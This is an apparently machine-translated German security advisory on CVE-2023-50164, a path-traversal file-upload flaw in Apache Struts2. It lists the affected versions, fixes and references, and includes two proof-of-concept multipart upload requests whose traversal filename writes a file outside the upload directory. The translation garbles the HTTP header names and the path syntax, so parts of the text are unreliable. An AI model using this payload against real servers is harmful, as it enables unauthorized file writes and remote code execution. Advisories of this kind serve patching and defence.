Beschreibung der Schwachstelle:
Apache Struts2Struts 2 ist eine Open-Source-Webanwendungsarchitektur für die Entwicklung von Java EE-Webanwendungen. Sie nutzt und erweitert die Java Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Apache hat eine Sicherheitswarnung für eine schwerwiegende Sicherheitslücke im Open-Source-Webanwendungs-Framework Struts 2 herausgegeben, die Folgendes zur Folge haben könnteEntfernte Code-Ausführung. Die Nummer der Schwachstelle lautetCVE-2023-50164die auf mangelhaften "Logik des Dateiuploads", was dazu führen kann, dass unbefugtePfadüberquerungund in der ausgenutzt, um bösartige Dateien hochzuladen und beliebige Codeausführung zu ermöglichen.
Auswirkungen der Schwachstelle:
2.5.0 <= Struts <= 2.5.32
6.0.0 <= Struts <= 6.3.0
Nachweis der Verwundbarkeit:
POC I:
--WebKitFormBoundary5WJ61X4PRwyYKlip
Inhalt-Disposition: form-data; name="Upload"; filename="poc.txt"
Inhalt-Typ: text/plain
Test
--WebKitFormBoundary5WJ61X4PRwyYKlip
Inhalt-Disposition: form-data; name="uploadFileName";
... /... /poc.txt
--WebKitFormBoundary5WJ61X4PRwyYKlip-
POC II:
POST /s2_066_war_exploded/upload.action?uploadFileName=... /... /poc.txt HTTP/1.1
Rechner: localhost:8080
Accept-Language: en-US,en;q=0.9
Benutzer-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/120.0.0.0 Safari/537.36
Akzeptanz-Encoding: gzip, deflate, br
Inhalt-Typ: multipart/form-data; boundary=--WebKitFormBoundary5WJ61X4PRwyYKlip
Cache-Kontrolle: max-age=0
Akzeptiert: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed- exchange;v=b3;q=0.7
Inhalt-Länge: 593
--WebKitFormBoundary5WJ61X4PRwyYKlip
Inhalt-Disposition: form-data; name="Upload"; filename="poc.txt"
Inhalt-Typ: text/plain
Test
--WebKitFormBoundary5WJ61X4PRwyYKlip-
Fehlerbehebungen:
Es ist eine offizielle, aktualisierbare Version verfügbar, und den Benutzern wird empfohlen, so bald wie möglich auf eine sichere Version zu aktualisieren:
Struts >= 2.5.33
Struts >= 6.3.0.2
Patch: https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7
Referenz:
https://cwiki.apache.org/confluence/display/WW/S2-066
https://github.com/apache/struts/compare/STRUTS_6_3_0…STRUTS_6_3_0_2#files_bucket
https://github.com/apache/struts/commit/4c044f12560e22e00520595412830f9582d6dac7
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2Datei-Upload-Analyse-S2-066/
Originalartikel von Chief Security Officer, bei Vervielfältigung bitte angeben: https://cncso.com/de/new-critical-rce-vulnerability-discovered-in-apache-struts2.html